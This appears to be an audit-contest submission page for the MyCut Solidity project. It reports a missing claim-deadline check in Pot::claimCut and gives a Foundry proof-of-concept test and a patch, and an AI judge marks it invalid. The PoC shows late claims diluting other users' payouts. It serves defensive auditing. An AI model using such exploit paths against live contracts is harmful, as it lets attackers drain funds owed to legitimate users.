MyCut

AI First Flight #8

Beginner FriendlyFoundry

EXP

View results

Previous Next

Submission Details

Impact: medium

Likelihood: medium

Invalid

Pot::claimCut never checks the 90-day deadline or a closed state, so players who missed the window can still claim before or after closeContest, diluting the in-time claimants' bonus and the manager cut

friedsocks233

No claim deadline in `claimCut` + late players take value reserved for "those who claimed in time"

Description

The README says that MyCut allows "authorized claimants 90 days to claim before the manager takes a cut of the remaining pool and the remainder is distributed equally to those who claimed in time". A player who misses the 90-day window forfeits their reward. It becomes part of the remaining pool, 10% goes to the manager and 90% goes to the in-time claimants.
claimCut only checks playersToRewards[msg.sender] > 0. It never compares block.timestamp with i_deployedAt + 90 days, and Pot has no closed state. The 90 days appear only as a lower bound in closePot.
Closing is a separate, manual owner transaction. So a player who missed the window can still claim on day 95, or front-run the admin's closeContest. They receive their full reward, are pushed into claimants, and then also receive the in-time bonus at close.
Their claim also reduces remainingRewards, so both the manager cut and the real in-time claimants' bonus shrink.

// src/Pot.sol

37: function claimCut() public {

38: address player = msg.sender;

39: uint256 reward = playersToRewards[player];

@> 40: if (reward <= 0) {

41: revert Pot__RewardNotFound();

42: }

43: playersToRewards[player] = 0;

44: remainingRewards -= reward;

@> 45: claimants.push(player);

46: _transferReward(player, reward);

47: }

// ...

49: function closePot() external onlyOwner {

@> 50: if (block.timestamp - i_deployedAt < 90 days) {

51: revert Pot__StillOpenForClaim();

Risk

Likelihood:

There is always a gap between day 90 and the admin's manual closeContest, and any player who missed the deadline can call claimCut in it. No privileges are required, and the admin cannot prevent it, because the close transaction can be front-run.
Late claims also succeed after the close whenever the Pot still holds a balance. Because of the separate bonus-divisor issue, a balance remains after any close where some player did not claim.

Impact:

Value moves from in-time claimants and the manager to players who were not "in time". In the PoC there are three players at 100 each. p1 claims on day 1 and p2 claims on day 95. p1's bonus drops from 60 to 30, the manager cut drops from 20 to 10, and p2 ends with 130: the full reward plus an in-time bonus.
After close, the outcome depends on transaction order. p2 withdraws 100 from the 120 left in the Pot. p3 has an identical entitlement but reverts with ERC20InsufficientBalance(pot, 20, 100). This post-close limb depends on the residue left by the separate i_players.length divisor issue. The late reward is paid once, out of tokens that would otherwise stay stranded.

Proof of Concept

The test deploys ContestManager and the repo's test/ERC20Mock.sol and uses the real flow. All four tests pass:

test_Baseline_OnlyInTimeClaimantSharesForfeit (spec behaviour): only p1 claims, and after the day-95 close p1 holds 160 (100 + 60 bonus) and the manager holds 20.
test_Limb1_LateClaimBeforeClose_DilutesInTimeClaimantAndManager: p2's day-95 claim succeeds with 100. After the close, p2 holds 130, p1 holds 130 instead of 160, and the manager holds 10 instead of 20.
test_Limb2_3_ClaimAfterClose_OrderDependent: after the close, p2 claims 100 on day 200. p3's claim reverts with ERC20InsufficientBalance(pot, 20, 100), while checkCut(p3) still reports 100.
test_Limb4_PostCloseClaimerGetsBonusOnRepeatedClose: five players. A player who claims after the first close is pushed into claimants and receives a 54 bonus on a second close. This needs the owner to close twice, which is the separate non-terminal-close issue.

Save the file as test/PoC_MC-03.t.sol and run from the repository root:

FOUNDRY_FFI=false forge test --match-path test/PoC_MC-03.t.sol -vv

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

import {Test, console} from "lib/forge-std/src/Test.sol";

import {IERC20} from "lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";

import {IERC20Errors} from "lib/openzeppelin-contracts/contracts/interfaces/draft-IERC6093.sol";

import {ContestManager} from "../src/ContestManager.sol";

import {Pot} from "../src/Pot.sol";

import {ERC20Mock} from "./ERC20Mock.sol";

/// MC-03: claimCut never checks the 90-day window or a closed state, so players who

/// missed the window can still claim (before or after closeContest) and take value that

/// the README says belongs to the manager and to "those who claimed in time".

contract PoC_MC03 is Test {

address admin = makeAddr("admin");

address p1 = makeAddr("p1");

address p2 = makeAddr("p2");

address p3 = makeAddr("p3");

address p4 = makeAddr("p4");

address p5 = makeAddr("p5");

ContestManager conMan;

ERC20Mock token;

function setUp() public {

vm.startPrank(admin);

conMan = new ContestManager();

token = new ERC20Mock("TKN", "TKN", admin, 0);

token.mint(admin, 1_000_000);

token.approve(address(conMan), type(uint256).max);

vm.stopPrank();

}

function _createAndFund(address[] memory players, uint256[] memory rewards, uint256 total)

internal

returns (Pot pot)

{

vm.startPrank(admin);

address potAddr = conMan.createContest(players, rewards, IERC20(address(token)), total);

uint256 idx = conMan.getContests().length - 1;

conMan.fundContest(idx);

vm.stopPrank();

pot = Pot(potAddr);

}

/// three players at 100 each, total 300

function _threePlayerPot() internal returns (Pot pot) {

address[] memory players = new address[](3);

players[0] = p1;

players[1] = p2;

players[2] = p3;

uint256[] memory rewards = new uint256[](3);

rewards[0] = 100;

rewards[1] = 100;

rewards[2] = 100;

pot = _createAndFund(players, rewards, 300);

}

function _close(Pot pot) internal {

vm.prank(admin);

conMan.closeContest(address(pot));

}

// ---------------------------------------------------------------------------------

// Baseline: the spec'd behaviour. p1 claims in time; p2, p3 miss the window and do not

// claim. At close the forfeited 200 is split: manager 10% = 20, claimant bonus 180/3 = 60.

// ---------------------------------------------------------------------------------

function test_Baseline_OnlyInTimeClaimantSharesForfeit() public {

Pot pot = _threePlayerPot();

vm.warp(block.timestamp + 1 days);

vm.prank(p1);

pot.claimCut();

vm.warp(block.timestamp + 94 days); // day 95: window has elapsed

_close(pot);

console.log("baseline p1 balance :", token.balanceOf(p1));

console.log("baseline manager (conMan):", token.balanceOf(address(conMan)));

assertEq(token.balanceOf(p1), 100 + 60, "p1 principal + bonus 60");

assertEq(token.balanceOf(address(conMan)), 20, "manager cut 20");

assertEq(token.balanceOf(p2), 0);

}

// ---------------------------------------------------------------------------------

// Limb 1: p2 misses the 90-day window but claims on day 95 before the admin's

// closeContest lands (late claim / front-run). claimCut does not check the deadline:

// p2 gets the full 100, is pushed into claimants and then ALSO gets the in-time bonus.

// The manager's cut and p1's bonus both shrink versus the baseline.

// ---------------------------------------------------------------------------------

function test_Limb1_LateClaimBeforeClose_DilutesInTimeClaimantAndManager() public {

Pot pot = _threePlayerPot();

uint256 deployedAt = block.timestamp;

vm.warp(block.timestamp + 1 days);

vm.prank(p1);

pot.claimCut();

// day 95: well past the 90-day claim window

vm.warp(deployedAt + 95 days);

assertGt(block.timestamp - deployedAt, 90 days, "claim window has elapsed");

// late claim succeeds (no deadline check)

vm.prank(p2);

pot.claimCut();

assertEq(token.balanceOf(p2), 100, "late claimer got full reward after the deadline");

assertEq(pot.getRemainingRewards(), 100, "forfeit pool shrank from 200 to 100");

_close(pot);

console.log("late-claim p1 balance :", token.balanceOf(p1));

console.log("late-claim p2 balance :", token.balanceOf(p2));

console.log("late-claim manager (conMan):", token.balanceOf(address(conMan)));

// late claimer also received the "claimed in time" bonus (30)

assertEq(token.balanceOf(p2), 130, "late claimer received principal + in-time bonus");

// in-time claimant's bonus halved: 30 instead of baseline 60

assertEq(token.balanceOf(p1), 130, "p1 bonus 30 instead of 60");

assertLt(token.balanceOf(p1), 160, "p1 worse off than baseline");

// manager cut halved: 10 instead of baseline 20

assertEq(token.balanceOf(address(conMan)), 10, "manager cut 10 instead of 20");

}

// ---------------------------------------------------------------------------------

// Limbs 2 + 3: Pot has no closed state. After close, a non-claimer can still claim

// from the leftover balance (the 120 stranded by the i_players.length divisor), even

// though their reward was treated as forfeited when the manager cut / bonus were

// computed. Late claimers are paid first-come-first-served; the last one reverts.

// ---------------------------------------------------------------------------------

function test_Limb2_3_ClaimAfterClose_OrderDependent() public {

Pot pot = _threePlayerPot();

uint256 deployedAt = block.timestamp;

vm.warp(block.timestamp + 1 days);

vm.prank(p1);

pot.claimCut();

vm.warp(deployedAt + 95 days);

_close(pot);

assertEq(token.balanceOf(address(conMan)), 20, "manager cut computed on forfeit of 200");

assertEq(token.balanceOf(p1), 160, "p1 bonus computed on forfeit of 200");

assertEq(token.balanceOf(address(pot)), 120, "residue left in pot after close");

// long after close, p2 claims anyway

vm.warp(deployedAt + 200 days);

vm.prank(p2);

pot.claimCut();

console.log("post-close p2 balance:", token.balanceOf(p2));

console.log("pot balance after p2 :", token.balanceOf(address(pot)));

assertEq(token.balanceOf(p2), 100, "p2 withdrew full reward after the pot was closed");

assertEq(token.balanceOf(address(pot)), 20);

// p3, with an identical entitlement, loses the race and reverts

vm.prank(p3);

vm.expectRevert(

abi.encodeWithSelector(IERC20Errors.ERC20InsufficientBalance.selector, address(pot), 20, 100)

);

pot.claimCut();

assertEq(pot.checkCut(p3), 100, "p3 still has an entitlement the pot cannot pay");

}

// ---------------------------------------------------------------------------------

// Limb 4 (needs the trusted owner to call closeContest a second time): a post-close

// claimer is pushed into claimants, so a repeated close pays them a bonus too.

// Five players at 100 so the residue is large enough for the second close to succeed.

// ---------------------------------------------------------------------------------

function test_Limb4_PostCloseClaimerGetsBonusOnRepeatedClose() public {

address[] memory players = new address[](5);

players[0] = p1;

players[1] = p2;

players[2] = p3;

players[3] = p4;

players[4] = p5;

uint256[] memory rewards = new uint256[](5);

for (uint256 i; i < 5; i++) {

rewards[i] = 100;

}

Pot pot = _createAndFund(players, rewards, 500);

uint256 deployedAt = block.timestamp;

vm.prank(p1);

pot.claimCut();

vm.warp(deployedAt + 95 days);

_close(pot); // remaining 400: manager 40, bonus 360/5 = 72 to p1

assertEq(token.balanceOf(p1), 172);

vm.prank(p2);

pot.claimCut(); // post-close claim, pushed into claimants

assertEq(token.balanceOf(p2), 100);

_close(pot); // remaining 300: manager 30, bonus 270/5 = 54 to p1 AND p2

console.log("repeat-close p2 balance:", token.balanceOf(p2));

assertEq(token.balanceOf(p2), 154, "post-close claimer received a bonus on the second close");

assertEq(token.balanceOf(p1), 226);

}

Recommended Mitigation

Reject claims once the 90 days have elapsed. closePot only succeeds when block.timestamp - i_deployedAt >= 90 days, so this single check also rejects every post-close claim, and the claim window and the close window no longer overlap.

--- a/src/Pot.sol

+++ b/src/Pot.sol

@@ -8,6 +8,7 @@

error Pot__RewardNotFound();

error Pot__InsufficientFunds();

error Pot__StillOpenForClaim();

+ error Pot__ClaimPeriodOver();

address[] private i_players;

uint256[] private i_rewards;

@@ -35,6 +36,9 @@

}

function claimCut() public {

+ if (block.timestamp - i_deployedAt >= 90 days) {

+ revert Pot__ClaimPeriodOver();

+ }

address player = msg.sender;

uint256 reward = playersToRewards[player];

if (reward <= 0) {

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago

Submission Judgement Published

Invalidated

Reason: Incorrect statement

Rewards breakdown

This contest has a flat reward structure with the following payouts:

Live

The contest is live. Earn rewards by submitting a finding.

Judging

Submissions are being reviewed by our AI judge. Results will be available in a few minutes.

View all submissions

Rewards Distribution

The contest is complete and the rewards are being distributed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!

MyCut

Pot::claimCut never checks the 90-day deadline or a closed state, so players who missed the window can still claim before or after closeContest, diluting the in-time claimants' bonus and the manager cut

No claim deadline in claimCut + late players take value reserved for "those who claimed in time"

Description

Risk

Proof of Concept

Recommended Mitigation

Lead Judging Commences

Rewards breakdown

Live

Judging

Rewards Distribution

FAQs

No claim deadline in `claimCut` + late players take value reserved for "those who claimed in time"